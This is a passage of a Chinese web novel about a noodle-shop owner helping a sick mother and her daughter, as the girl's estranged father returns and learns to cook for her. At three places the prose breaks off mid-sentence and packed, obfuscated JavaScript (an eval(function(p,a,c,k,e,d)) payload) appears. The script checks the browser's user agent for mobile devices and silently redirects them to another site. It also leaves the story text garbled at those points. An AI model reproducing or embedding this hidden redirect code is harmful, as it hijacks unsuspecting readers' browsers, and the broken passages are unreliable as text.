小月犹豫了一下,点了点头。 两个人一前一后走出了店门。张建国走前面,小月跟后面,隔着两三步的距离。路灯把他们的影子投在地上,一大一小,大影子在前面,小影子在后面,中间隔了一段空白,像一条河。 房寨站在门口看着他们走远。张建国走得很慢,大概是想让小月跟上。但小月也走得很慢,始终保持着那两三步的距离,不快不慢,像是故意在保持这个距离。 夜风吹过来,把地上的落叶吹得沙沙响。小月的校服被风吹起来一角,她伸手按住了。张建国回过头看了她一眼,想说什么,但没说出来,又转过头继续走了。 他们的身影越来越远,越来越小,最后消失在街角。 房寨在门口站了一会儿,直到看不见了才转身回店里。 小赵在擦桌子,看到房寨进来,问了一句:“老板,你说小月她爸这次是真心的吗?” 房寨想了想,说不知道。 他是真的不知道。张建国这个人,他不了解。以前为什么离婚,为什么走了就不回来,现在为什么又回来,是真的想弥补,还是只是良心不安?他分不清。但他知道一件事——小月需要一个人。不是他房寨,不是周阿姨,不是小赵,是一个真正跟她有血缘关系的、能陪她长大的、能给她一个家的人。 他可以是那个做饭的人,可以是那个给她面吃的人,可以是那个在她写作业的时候在旁边坐着的人。但他不是她爸爸。爸爸这个位置,没有人能代替。 第二天,张建国又来了。 这次他来早了,下午两点多就到了。小月还没放学,他就在店里等着,点了一碗萝卜炖牛腩,慢慢地吃,吃完了又点了一份炒河粉,也吃完了。 房寨看他吃了这么多,忍不住问了一句:“你没吃午饭?” 张建国苦笑了一下:“吃了,就是想吃你做的菜。好吃。” 房寨没再问了。 三点多的时候,张建国开始在店里转悠。他看了看墙上贴的菜单,看了看厨房里的设备,看了看冰箱和冰柜,问了一些关于食材采购和成本控制的问题。房寨一一回答了,不知道他问这些干什么。 “我以前在饭店干过。”张建国说,“不是厨师,是跑堂的。干了两年,后来不干了。” 房寨哦了一声。 “你要是忙不过来,我可以来帮忙。”张建国说,“不要钱。” 房寨看了他一眼,不太确定他是不是认真的。 “你不是来看小月的吗?” “看小月也不耽误干活。”张建国说,“她在的时候我陪她,她不在的时候我帮你干点活,反正我闲着也是闲着。” 房寨想了想,没答应也没拒绝。他不了解张建国,不知道这个人靠不靠谱。一个抛下妻女好几年不管的人,忽然说要来帮忙干活,换谁都会多想。 张建国好像看出了他的顾虑,说了一句:“我知道你不信我。没事,慢慢来。” 那天小月来的时候,张建国没有像昨天那样坐在对面盯着她看。他坐在另一张桌子上,假装在看手机,但眼睛一直往小月那边瞟。小月吃面的时候他看了一眼,写作业的时候他又看了一眼,收拾书包要走的时候他站起来,还是说了一句“我送你回家”。 这次小月没有犹豫,直接点了点头。 两个人还是一前一后走的,但这次的距离近了一点。大影子和小影子之间那条河,好像窄了一些。 接下来的几天,张建国每天都来。 他来得越来越早,有时候上午就到了。他帮周阿姨洗碗,帮小赵擦桌子,帮房寨搬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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从那天起,张建国成了店里的编外员工。他不要工资,房寨也不给,但他每天来,从早待到晚,比正式员工还勤快。他帮房寨备料、切菜、炖汤、炒菜,他学得很快,房寨教他的东西他一遍就会,两遍就能做好。他做的红烧牛肉面味道已经很接近房寨的了,煲仔饭的锅巴也做得像模像样,虽然还不如房寨,但比小赵强多了。 小赵对此很有意见,不是对张建国有意见,是对自己没意见——“怎么人家学得那么快,我学得那么慢?”房寨说可能是天赋问题。小赵更郁闷了。 小月对张建国的态度在慢慢变化。 最开始是不理,当他不存在。后来是偶尔看一眼,但不说活。再后来是张建国跟她说话的时候她会回一个字,“嗯”或者“哦”。最近这几天,她开始主动跟张建国说一些话了,虽然都是很简单的—— “水” 、“笔断了” 、“这道题不会”。 张建国每次听到小月跟他说话,眼睛都会亮一下,那种光和房寨在医院看到王丽眼睛里的光很像,都是一个快绝望的人忽然抓住了一点希望的样子。 房寨看在眼里,心里慢慢有了一些判断。 张建国这个人,以前可能确实做错了。但他现在在努力弥补。努力这个东西是骗不了人的,你花多少时间,用多少心,别人都看得到。他每天从早待到晚,不拿一分钱,干活比谁都卖力,不是为了房寨,是为了小月。 他想让小月看到,他在这里,他不走了。 有一天晚上关店之后,房寨和张建国两个人坐在店里喝茶。张建国端着杯子,看着窗外的路灯,忽然说了一句:“我以前不是人。” 房寨没接话。 “小月刚出生的时候,我在外面打工,一年回一次家。后来跟她妈吵架,吵着吵着就离了。离了之后我就不回来了,觉得自己没脸回来。”张建国的声音很低,“这几年我在外面换了好几个城市,干过工地,干过保安,干过外卖,什么都干过,但心里一直空着,总觉得少了什么。后来我才知道,少的是她。” 他指了指店门口,小月每天坐的那个方向。 “我想补回来。”张建国说,“不知道还来不来得及。” 房寨喝了一口茶,茶已经凉了,有点苦。 “来得及。”他说。 张建国转过头看着他,眼眶红了,但没哭。他点了点头,把杯子里的凉茶一口喝了,站起来说了一句“明天见”,然后走了。 房寨一个人坐在店里,把灯关了,只留了厨房的一盏小灯。橘黄色的光从厨房门口透出来,照在蓝色的格子桌布上,很暖。 他想起王丽。不知道她知不知道张建国回来了,不知道她愿不愿意让他见小月,不知道她还能撑多久。 他明天要去医院,把这些事告诉王丽。 27.第 27 章 房寨去医院的时候,带了一保温桶鸡汤。 鸡是早上从菜市场买的,活杀的老母鸡,黄澄澄的油,炖了一个上午。他加了红枣、枸杞、当归,炖到汤色金黄,上面漂着一层薄薄的油光。撇掉浮油之后,汤清亮亮的,喝起来很鲜,不腻。 到了医院,停好三轮车,抱着保温桶上三楼。走廊还是那个走廊,灯还是那么亮,消毒水的味道还是那么重。护士站的小护士已经认识他了,看到他来,点了点头,说了一句“今天精神好一点”。 房寨心里稍微松了一下。 推开病房的门,王丽醒着。她靠在床头,半躺着,枕头垫得很高。床头柜上多了一束花,粉色的康乃馨,插在一个塑料瓶子里,水很清,应该是刚换过的。花看起来很新鲜,花瓣上还有水珠,不知道是谁送的。 她比上次好了一点。不是身体好了,是精神好了。眼睛没那么凹陷了,脸色还是蜡黄,但嘴唇有了一点血色,不是之前那种灰白色。她看到房寨进来,嘴角微微翘了一下。 “今天气色不错。”房寨把保温桶放在床头柜上,把花往旁边挪了挪。 王丽轻轻点了点头。她的动作还是慢,但比之前有力了一些,点头的时候脖子能撑住了,不会晃来晃去的。 房寨搬了椅子坐在床边,打开保温桶,倒了一碗鸡汤。汤很烫,热气往上冒,带着红枣和当归的味道,整个病房都香了。隔壁床的大叔吸了吸鼻子,说了一句“好香啊”,他老婆在旁边白了他一眼,小声说“人家给病人喝的”。 房寨用勺子舀了一勺,吹了吹,送到王丽嘴边。王丽张开嘴喝了一口,慢慢咽下去,闭上眼睛停了两秒,像是在品味那个味道。然后她睁开眼,轻轻说了一句:“好喝。” 房寨一勺一勺地喂她,她喝了小半碗,比上次多。喝完之后她靠在床头,看着房寨,嘴唇动了动。 “小月……”她问。 “小月很好。”房寨把碗放在一边,“她长胖了一点,脸上有肉了。周阿姨天天给她带零食,她不吃,说要留给妈妈。小赵教她写作业,她的数学进步了,上次考了七十八分,比以前多了好几分。” 王丽的眼睛亮了一下,和每次听到小月的消息时一样。那种光很熟悉了,房寨已经见过很多次,但每次看到还是会心里发紧。 “还有一件事。”房寨犹豫了一下,“张建国回来了。” 王丽的表情变了。 不是惊讶,不是愤怒,不是悲伤。是一种很复杂的东西,像是一潭死水里忽然被投进了一颗石子,泛起了涟漪,但很快就平了。她的眼神变了一下,然后恢复成了原来的样子,好像什么都没发生过。 “他来看小月了。”房寨说,“每天都在店里,帮了不少忙。他干活挺利索的,以前在饭店干过,红烧肉做得比我好。” 房寨不知道自己为什么要说红烧肉的事。可能是觉得话题太沉重了,想加点轻松的东西。但说出来之后也没觉得轻松,反而觉得更沉重了。 王丽沉默了很久。 病房里很安静,隔壁床的大叔和他老婆也不说话了。大叔大概是睡着了,呼吸声很重,一起一伏的,像拉风箱。他老婆在旁边削苹果,果皮一圈一圈地垂下来,很长,没断。 “他变了。”王丽终于开口了,声音很轻,“以前他不会干活的。” 房寨不知道她说的“以前”是什么时候。是他们还在一起的时候,还是刚分开的时候?他没问。 “小月跟他说话了吗?”王丽问。 “说了。一开始不说话,后来开始说一两个字,现在能说一两句话了。”房寨说,“昨天她爸送她回家的时候,她主动说了一句‘明天见’。她爸听了差点哭了。” 王丽的眼睛湿了。这次没有眨眼把水光弄掉,让眼泪流了下来,顺着脸颊慢慢滑下去,流到下巴,滴在枕头上。她没有出声,就那么无声地流着泪,和第一次在病房里见到她时不一样。那次她是笑着说谢谢,这次她是哭。 房寨从口袋里掏出纸巾,递给她。王丽接过纸巾,手有点抖,擦了两下,把纸巾攥在手里,攥成了一团。 “他要是对小月好,”王丽说,“我就不担心了。” 房寨想说“你不用担心”,但这句话他说过很多次了,再说就假了。他换了一句:“小月会没事的。” 王丽看着他,看了好几秒。她的眼神里有感激,有信任,还有一种房寨看不懂的东西。那种东西很重,像是一个人在把最珍贵的东西交到另一个人手里。 “房寨。”她叫了一声他的名字。 这是她第一次叫他的名字。之前她都是叫他“老板”,或者不叫。她念这个名字的时候很慢,房——寨——,像是在确认自己有没有记对。 “谢谢你。”她说。 又是谢谢。 房寨已经数不清她说了多少次谢谢了。信上写过,见面说过,每一次来都说。每一次都是真的,每一次都让他不知道该怎么接。 “别说谢谢了。”房寨说,“你好好的就行。” 王丽没再说话了。她闭上眼睛,像是累了。呼吸慢慢变得均匀,胸口的起伏很轻很轻,被子几乎看不出在动。她的手放在被子外面,手指细得像枯枝,指甲是灰白色的,没有血色。 房寨把被子往上拉了拉,盖住她的手。他把保温桶盖上,站起来,轻手轻脚地往外走。 走到门口的时候,王丽忽然说话了。 “房寨。” 他回过头。 “小月喜欢吃糖醋排骨。”王丽说,“以前我常给她做,后来做不动了。” 房寨点了点头,记下了。 从病房出来,他在走廊里站了一会儿。走廊很长,灯很亮,尽头还是黑的,和每次来一样。但有一样东西不一样了。走廊的墙上多了一幅画,是那种儿童画的复制品,画的是一个小女孩牵着妈妈的手,太阳很大,花很红,草很绿,颜色鲜艳得有点假。画的右下角印着一行小字:祝您早日康复。 房寨看着那幅画,想起小月画的那幅《我和妈妈》。小月的画没那么好看,线条歪歪扭扭的,颜色涂出了边界,但那种感觉是一样的——一个小孩想要抓住妈妈的手,不想放开。 他转身走了。 回到店里的时候,张建国正在厨房里忙活。 他系着围裙,袖子卷到手肘,正在切菜。案板上摆着一排切好的土豆丝,粗细均匀,长短一致,码得整整齐齐。旁边的小碗里装着切好的葱花和姜末,还有一碗调好的糖醋汁。 “今天做糖醋排骨?”房寨问。 张建国抬起头看了他一眼,手上的活没停:“小月说想吃,我就试着做一下。以前没做过,不知道好不好吃。” 房寨看着案板上的排骨,剁得整整齐齐,每一块大小差不多。排骨已经焯过水了,表面没有血沫,干干净净的。张建国做事的风格和他这个人一样,不急不慢,但每一步都很扎实,不马虎。 “她什么时候说的?”房寨问。 “昨天,送她回家的路上。她说妈妈以前经常做糖醋排骨给她吃,好久没吃了。”张建国说着,把糖醋汁倒进锅里,开火熬。汁水在锅里咕嘟咕嘟地冒泡,颜色从透明慢慢变成琥珀色,越来越浓,越来越亮。 排骨下锅,翻炒,每一块都均匀地裹上了糖醋汁。张建国用铲子翻了翻,让排骨在锅里焖了一会儿,然后大火收汁,出锅装盘,撒上白芝麻。 颜色红亮,汁水浓稠,芝麻点缀在上面,很好看。 房寨拿筷子夹了一块,咬了一口。排骨炖得够烂,肉一咬就从骨头上脱下来了,糖醋汁的味道进去了,酸甜适中,不腻。 “好吃。”房寨说。 张建国松了一口气,像是参加了一场很重要的考试,终于通过了。 傍晚小月来的时候,张建国把糖醋排骨端到她面前。小月看着那盘排骨,愣了一下,然后抬起头看了看张建国,又看了看房寨。 “你做的?”她问张建国。 张建国点了点头,有点紧张,像是怕她不喜欢。 小月拿起筷子夹了一块,咬了一小口,嚼了嚼,没说话,又咬了一大口,把整块排骨吃完了。然后她又夹了一块,这次没有犹豫,直接塞进嘴里。 张建国看着她吃,手不自觉地攥紧了围裙的下摆,攥得指节都发白了。他的表情很紧张,比等房寨评价的时候紧张多了,好像小月的反应决定了他的生死。 “好吃吗?”他问。 小月点了点头,嘴里还含着肉,含混地说了一句“好吃”。声音不大,但张建国听到了。他的眼眶一下子红了,转过身去假装拿东西,用袖子擦了一下眼睛。 房寨在厨房里看到了,没说什么,低下头继续切菜。 小月吃了三块排骨,又把碗里的饭吃完了。她今天没喝汤,大概是排骨吃太多了。吃完之后她把碗推到一边,从书包里拿出作业本,开始写作业。 张建国在她对面坐下来,没说话,就那么看着她写。他的眼神很专注,像是在看一件很珍贵的、随时可能会消失的东西。 房寨站在厨房门口看着这一幕,忽然想起了王丽。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17523599|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她说小月喜欢吃糖醋排骨,以前常给她做,后来做不动了。 现在有人替她做了。 他不知道王丽知道这件事会怎么想。是高兴,还是难过?高兴有人对小月好,难过那个人是张建国?还是两种都有?他分不清。大人的感情太复杂了,不像小月的画那么简单,太阳就是太阳,花就是花,妈妈就是妈妈。 第二天,房寨又去了医院。 这次他带的是糖醋排骨。 不是张建国做的那份,是他自己做的。他想让王丽尝尝小月喜欢吃的东西,让她知道现在有人给小月做了,味道还行,小月吃了三块,说好吃。 王丽今天的精神比昨天还好一点。她能自己坐起来了,不用枕头垫那么高了。护士说她这两天恢复得不错,各项指标都有好转,虽然离出院还远得很,但至少方向是好的。 房寨把保温桶打开,糖醋排骨的味道飘出来,酸甜酸甜的,整个病房都香了。隔壁床的大叔又吸了吸鼻子,这次他老婆没白他一眼,也凑过来看了一眼,说了一句“这个排骨做得真好看”。 王丽吃了一块,嚼了很久。她吃东西还是很慢,但比之前有劲了,咀嚼的动作不再那么费力,牙齿能咬动肉了。 “好吃。”她说。 “小月昨天吃了三块。”房寨说,“说好吃。” 王丽笑了。这次的笑容比以前大了一些,嘴角翘得高了一些,能看到一点点牙齿。她笑起来的样子不像一个躺在病床上的人,像以前那个会给女儿做糖醋排骨的妈妈。 “房寨。”她又叫了一声他的名字。 “嗯。” “你帮了我太多了。”王丽说,“我不知道怎么谢你。” “你别想这些。”房寨把碗收起来,“你把身体养好,比什么都强。等你好起来了,你亲自给小月做糖醋排骨,她肯定更高兴。” 王丽看着他,眼眶又湿了,但这次没让眼泪流下来。她眨了眨眼,把水光眨掉了,然后点了点头。 “好。”她说。 这个“好”字和之前的不一样。之前的“好”是“我知道了”,这次的“好”是“我答应你”。两个字的重量不一样,房寨能感觉到。 从医院出来的时候,天已经快黑了。深秋的白天越来越短,以前五点多还大亮着,现在五点半就暗了。路灯已经亮了,街上的车开着大灯,一辆接一辆地从他身边开过去,车灯刺眼。 房寨骑着三轮车往回走,风从正面吹过来,灌进领口,凉飕飕的。他缩了缩脖子,把领子竖起来,加快了蹬车的速度。 回到店里的时候,小月已经在了。她正在吃面,张建国坐在对面看着她。和昨天一样,没说话,就那么看着。 小月今天穿了一件新外套,粉色的,上面有白色的圆点。周阿姨说她爸给她买的,今天下午带来的,还有一双新鞋、一个新书包、一套新文具。 “她爸这回是真上心了。”周阿姨小声跟房寨说,“你看那外套,质量挺好的,不是地摊货。鞋子也是牌子的,我孙子也穿那个牌子,不便宜。” 房寨看了看小月身上的新外套,又看了看张建国。张建国穿着一件旧夹克,袖口磨得发白了,领子也皱了。他自己的衣服旧得不成样子,给小月买的东西都是新的好的。 他把张建国叫到厨房,从抽屉里拿出那个信封——张建国之前给的一千块钱。 “这个你拿回去。”房寨把信封递给他。 张建国没接,皱着眉问什么意思。 “你给小月买了那么多东西,你自己衣服都旧了。这个钱你拿着,给自己买件新衣服。” 张建国看着那个信封,沉默了几秒。他的表情变了,不是生气,不是感动,是一种说不出来的复杂。像是被人戳到了什么柔软的地方,想藏起来但没藏住。 “不用。”他把信封推回来,“这钱是给你的,你别还我。” “那我给你存着。”房寨把信封放回抽屉,“等小月需要的时候用。” 张建国没再说什么,转身出去继续看小月写作业了。 房寨站在厨房里,透过窗口看着外面。小月在写作业,张建国在看她,两个人隔着一张桌子,中间的距离已经很近了,不像之前隔着一整条街那么远。 他忽然想,也许这个家还能拼起来。不是变回原来的样子——原来的样子已经碎了,碎得很彻底。但可以拼出一个新的样子,不一样的,也许没那么好看,但至少是完整的。 他不知道能不能成,但至少有人在努力。 这就够了。 28.第 28 章 十一月来了。 天气一下子冷了很多,早上出门的时候哈气能看到白雾了。房寨从柜子里翻出一件厚外套穿上,黑色的,去年在批发市场买的,九十九块钱,穿了一个冬天,袖口有点起球了,但还能穿。他把领子竖起来,骑着三轮车往店里去,风吹在脸上像刀割一样,耳朵冻得通红。 店里的暖气不太好用,开了半天还是温温的,不热。房寨检查了一下,发现是暖气片里有气,排了气之后暖气才慢慢热起来。周阿姨来了之后第一件事就是摸暖气片,摸到是热的才放心,说冬天没暖气不行,客人坐不住。小赵来了之后第一件事是脱外套,店里暖了,穿不住厚的。 菜单又换了一轮。 凉面彻底下架了,酸梅汤和绿豆汤也不卖了。现在的主打是煲仔饭、红烧牛肉面、排骨面、炸酱面、萝卜炖牛腩。房寨又加了一个新品——羊肉汤。 羊肉汤是系统推荐的。天冷了吃羊肉,温补,暖身,适合冬天。房寨没怎么做过羊肉,怕膻味太重,试了好几次才找到方法。羊肉先泡水,泡两三个小时,把血水泡掉。然后焯水,加姜片料酒,撇掉浮沫。炖的时候加白芷、草果、花椒、小茴香,这些香料能去膻增香。炖两个多小时,羊肉软烂,汤色奶白,喝起来鲜而不膻。 他定价二十五块钱一碗,配两个烧饼。烧饼是从隔壁的烧饼店买的,一块钱一个,他加在羊肉汤里一起卖,省了自己做的麻烦。客人可以单点羊肉汤,也可以点套餐,套餐加两个烧饼,二十七。 羊肉汤上架的第一天卖得不好,只卖了几碗。大部分人不知道他出了新品,点餐的时候还是看老几样。第二天房寨在群里发了个通知,又写了个大招牌立在门口——“新品羊肉汤,暖身驱寒,二十五元一碗”。第三天开始有人点了,第四天卖得更多了,一周之后羊肉汤的销量已经赶上了牛肉面。 有个老客人专门从城北开车过来喝羊肉汤,说喝完之后浑身暖洋洋的,开车回去的时候都不觉得冷了。房寨听了挺高兴的,给那碗汤多舀了几块羊肉。 张建国现在每天都来,从早待到晚。 他已经不把自己当外人了,什么活都干,有时候比房寨还操心。早上他来的时候会带一袋包子,分给房寨和小赵,有时候周阿姨来了也有份。包子是他从家门口的包子铺买的,猪肉大葱的,皮薄馅大,很好吃。房寨说过不用买,他不听,第二天还是带,后来房寨就不说了。 他的厨艺进步很快。红烧牛肉面已经做得和房寨差不多了,煲仔饭的锅巴比之前更脆了,糖醋排骨小月说比第一次做的好吃。房寨开始教他做羊肉汤,教了两遍他就会了,炖出来的汤颜色味道都还行,虽然比房寨的差一点,但已经很不错了。 房寨有时候下午出去买菜或者去医院,店里就交给张建国和小赵。张建国在厨房里做菜,小赵在外面点单收银,两个人配合得挺好。客人不知道张建国不是老板,以为他是新来的厨师,也没人多问。 小赵对此很有意见,但这次不是因为张建国学得快,是因为——“老板你对他比对我好,你教他煲仔饭教了两遍就会了,你教了我二十遍了我还不会。”房寨说那你去找他学啊,小赵愣了一下,然后就去找张建国学煲仔饭了。张建国教得很耐心,比房寨还有耐心,一步一步地讲,小赵学得比以前快了一些。 小月和张建国的关系在慢慢变好。 她现在会主动跟张建国说话了,虽然还是很简单的话——“今天吃什么”、“我渴了”、“走吧”。但说话的频率比以前高了很多,有时候一天能说十几句。张建国每次都认真回答,不敷衍,即使小月只是说一个“水”字,他也会倒一杯温水端过去放在她右手边,因为小月是右撇子,放在右边她顺手。 小月还是每天来店里,吃一碗面,写作业,然后跟张建国一起走。张建国送她回家,有时候走路,有时候骑他的电驴。小月坐在电驴后面,搂着张建国的腰,风把她的头发吹起来,张建国会骑慢一点,怕她冷。 房寨有一次在门口看到他们骑电驴离开的样子。小月搂着张建国的腰,脸贴在他后背上,书包背在身后,鼓鼓囊囊的。张建国骑得很慢,很稳,转弯的时候特别小心。他们的影子被路灯投在地上,一个大的坐在前面,一个小的坐在后面,两个影子连在一起,像一个人。 他觉得,也许这个家真的能拼起来。 十一月的第二周,系统面板弹出了一条消息。 【季度总结已生成。】 【开店天数:80天】 【服务食客总数:约3500人】 【平均满意度:92.7分】 【总净收入:约32000元】 【房贷已还:约85000元(含系统奖励)】 【当前剩余本金:1,345,000元】 【系统评价:店铺经营已步入正轨,建议考虑下一步扩张计划。】 【新功能解锁:分店管理(需厨艺等级达到高级)。】 【当前厨艺经验值:2150/3000(距离高级还差850)。】 房寨看着这些数字,发了很久的呆。 三个月,还了八万五的房贷。加上之前摆摊还的,总共还了将近十八万。一百五十二万变成了一百三十四万。虽然还差得远,但按照这个速度,也许五年、六年就能还完。对于一个曾经每个月只能还六千三、还要靠花呗周转的人来说,这个速度已经很快了。 但他更在意的是那个数字——三千五百个人吃过他做的饭。 三千五百个人。一个小学才多少人?他以前上的小学,一个年级两个班,一个班四十多人,全校也就五百多人。三千五百个人,是七个小学的人。这些人里,有的只来了一次,有的天天来,有的大老远从城北开车过来,有的专门在群里蹲他的消息。他们来自不同的地方,做着不同的工作,有着不同的故事,但他们都在他的店里吃过一碗面、一份饭、一碗汤。 房寨把记账本翻开,在第一页写下了这个月的目标:“净赚一万八,学会一个新菜。” 新菜他想做红烧肉。 之前张建国做过一次,很好吃,但那是张建国做的,不是他做的。他想自己掌握这道菜。红烧肉看着简单,做起来难。选肉、切块、焯水、炒糖色、炖煮、收汁,每一步都有讲究。肉要五花三层,肥瘦相间,切块要大小均匀,太大了不入味,太小了一炖就散。焯水要冷水下锅,慢慢升温,把血沫逼出来。炒糖色是最难的,火候不到颜色不红亮,火候过了糖就苦了。 他试了好几次。第一次糖色炒苦了,整锅肉都是苦的,倒掉了。第二次糖色炒嫩了,颜色发黄,不够红亮,味道还行但不好看。第三次糖色刚好,但炖的时间不够,肉不够烂。第四次炖够了时间,但收汁没收好,汤汁太稀,挂在肉上不够浓稠。第五次,终于做出一锅像样的了。 颜色红亮,肥肉入口即化,瘦肉不柴,汤汁浓稠地挂在每一块肉上。配一碗米饭,浇一勺汤汁,能吃三碗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17529070|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他把这锅红烧肉端给小赵、周阿姨、张建国尝。三个人都说好吃。小赵说比张建国做的好吃,张建国看了他一眼,小赵赶紧改口说“差不多差不多”。周阿姨说这个肉她孙子肯定爱吃,问房寨能不能教她做。房寨说行,明天教你。 红烧肉上架那天,房寨在群里发了一张照片。照片里的红烧肉装在白色碗里,颜色红亮,肥肉透明,瘦肉紧实,汤汁浓稠,上面撒了几粒白芝麻。群里的人又疯了,有人说“寨哥儿你这是要开店还是开画展”,有人说“这个颜色也太好看了吧”,有人说“我中午就去给我留一份”。 红烧肉定价二十八元一份,配一碗米饭。不算便宜,但房寨觉得值。一斤五花肉三十多块钱,一份红烧肉要用半斤肉,加上糖、酱油、香料、人工、房租,成本就十几块了。卖二十八,毛利十几块,不算高。 红烧肉的销量比房寨想的好。第一天卖了二十多份,第二天三十多份,一周之后稳定在每天四十份左右。有人专门为了红烧肉来的,点一份红烧肉配一碗米饭,吃得干干净净。有人吃完还要打包一份带回去,说给家里人尝尝。有个老客人一周吃了五次红烧肉,房寨怕他吃出脂肪肝,劝他少吃点,他说“死也要吃”。 房寨觉得这人说话有点夸张,但心里是高兴的。 十一月的第三周,房寨去医院的时候,王丽给了他一个信封。 信封很厚,里面装着钱。 “这是什么?”房寨没接。 “小月的生活费。”王丽把信封放在床头柜上,“我不能白让你照顾她。” 房寨看着那个信封,又看了看王丽。她比之前好了一些,脸上的肉多了一点,虽然还是很瘦,但至少不像骷髅了。头发长出了一点,黑黑的,短短的,像刚割过的草坪。她的眼睛也亮了一些,不是那种火柴划亮的光,是那种灯泡通上电的光,持续地、稳定地亮着。 “你哪来的钱?”房寨问。 “我妹妹给的。”王丽说,“她来看过我,留了一些钱。” 房寨想了想,把信封收下了。不是因为他想要这个钱,是因为他知道王丽需要这个心安。她没办法照顾小月,心里已经很难受了,如果连钱都不出,她会更难受。 “我会记着的。”房寨说,“每一笔都记着,以后给小月。” 王丽点了点头。 房寨把钱收进口袋,坐在床边,跟王丽说了小月最近的情况。说她穿了新外套,粉色的,很好看。说她吃了糖醋排骨,吃了三块,说好吃。说她跟张建国的关系在变好,现在会主动说话了,会说“明天见”了。 王丽听着,没有说话,脸上没有什么表情。但房寨注意到她的手指在被子上轻轻动了一下,像是在摸什么东西,又像是在抓什么东西。 “张建国对小月好。”房寨说,“这一点你放心。” 王丽沉默了很久。 “他以前对小月也好。”她终于开口了,“但他走了。” 这句话说得不重,但房寨听出了里面的分量。走了,比什么都伤人。不是对你不好,是对你好过,然后走了。那种落差,比从来没被好过还难受。 房寨不知道该怎么接这句话。 “人都会变的。”他最后说了一句。 王丽没再说话了。她转过头看着窗外。窗外的天很蓝,没有云,阳光照在对面的楼上,把整栋楼染成了金色。有一只鸟从窗前飞过,很快,一眨眼就不见了。 王丽看着那只鸟飞走的方向,看了很久。 29.第 29 章 冬至那天,店里忙得脚打后脑勺。 北方人冬至吃饺子,南方人吃汤圆,但房寨的店里两种都不卖,卖的是煲仔饭和羊肉汤。他本来以为冬至大家都会去吃饺子和汤圆,店里生意会差一些,结果正好相反——很多人吃完饺子,又跑来他店里喝羊肉汤,说喝完了暖和。 中午十一点半就开始排队了,一直到下午两点都没断过。房寨在厨房里忙得汗都出来了,外套脱了只穿一件长袖T恤,袖子卷到手肘。张建国在旁边帮他打下手,切肉、盛汤、打包,两个人配合默契,像两台配合了很久的机器。 小赵在外面点单收银,嗓子又喊哑了。周阿姨洗碗洗到手发白,水一盆一盆地换,洗洁精的瓶子空了一瓶又一瓶。 下午两点多,客流终于少了。房寨从厨房里出来,靠在墙上喘气。张建国也出来了,两个人在店门口站着,谁都没说话,就看着街上的人来人往。 “寨哥,今天卖了多少份羊肉汤?”张建国问。 “没数,估计有五六十碗。” “那今天收入不少。” 房寨点了点头,没多说什么。他不习惯跟人谈钱,尤其是跟张建国。张建国不要工资,他也不好意思在他面前说赚了多少。 傍晚的时候,小月来了。 她今天穿了一件红色的棉袄,新的,张建国上周给她买的。红色很正,衬得她的小脸白白的,像年画上的娃娃。她走进来的时候,店里的客人都多看了她几眼,有人说“这小姑娘真好看”,有人说“这棉袄颜色真正”。 小月坐在她的椅子上,把书包放下来,然后从书包里掏出一个东西,放在桌上。 是一幅画。 画的是三个人。左边是一个男人,穿着围裙,手里拿着锅铲。中间是一个小女孩,扎着两个小辫子,手里端着一碗面。右边是一个女人,坐在病床上,头上包着花布巾,手里拿着一朵花。三个人都笑着,笑得很开心。 画的右下角写着一行字:冬至快乐。 房寨看到这幅画的时候,鼻子一酸,差点没忍住。 “小月,这是你画的?” 小月点了点头。 “什么时候画的?” “今天下午,在学校画的。”小月说,“美术课,老师说画一幅冬至的画,我就画了这个。” 房寨把那幅画看了好几遍。画里的那个男人,围裙、锅铲、脸上的笑,一看就是按照他画的。那个小女孩,扎着小辫子、端着面,是小月自己。那个女人,病床上、花布巾、手里的花,是妈妈。 三个人,在一张纸上,笑着。 他忽然想到,这是小月想要的画面。不是只有妈妈,不是只有他,是三个人在一起。她把自己放在中间,左边是做饭的叔叔,右边是生病的妈妈,她端着一碗面,大概是那碗每天都要吃的阳春面。 张建国站在旁边,也看到了那幅画。他的表情很复杂,嘴角动了一下,像是在笑,又像是在忍着什么。他没说话,转身回了厨房。 房寨跟进去的时候,看到他站在水池边,水龙头开着,水哗哗地流,但他没有在洗碗,手放在水池里,一动不动。 “建国。”房寨叫了一声。 张建国没回头,肩膀动了一下,像是在擦脸。 “水凉,别冲了。”房寨说。 张建国关掉水龙头,转过身来。他的眼睛红了,但没有哭。他走到灶台边,拿起锅铲,开始炒菜。动作和平时一样利索,但房寨注意到他的手在抖,锅铲碰到锅边的时候发出轻微的响声,叮叮当当的。 晚上关店之后,房寨把那幅画贴在了收银台后面的墙上。和小月之前画的《我和妈妈》贴在一起,两幅画挨着,一幅是两个人,一幅是三个人。 他退后两步看了看。两幅画的风格一样,线条歪歪扭扭的,颜色涂出了边界,但那种感觉是一样的——一个小孩在画她心里最重要的东西。第一幅画里最重要的是妈妈,第二幅画里多了一个做饭的叔叔和一个穿着围裙的爸爸。 房寨把画扶正,去厨房收拾东西了。 冬至过后的第二天,房寨去医院看王丽。 他带了一份饺子。不是他包的,是他买的,速冻的,煮了一下装在保温盒里。他知道王丽吃不了几个,但冬至嘛,总得吃点饺子。 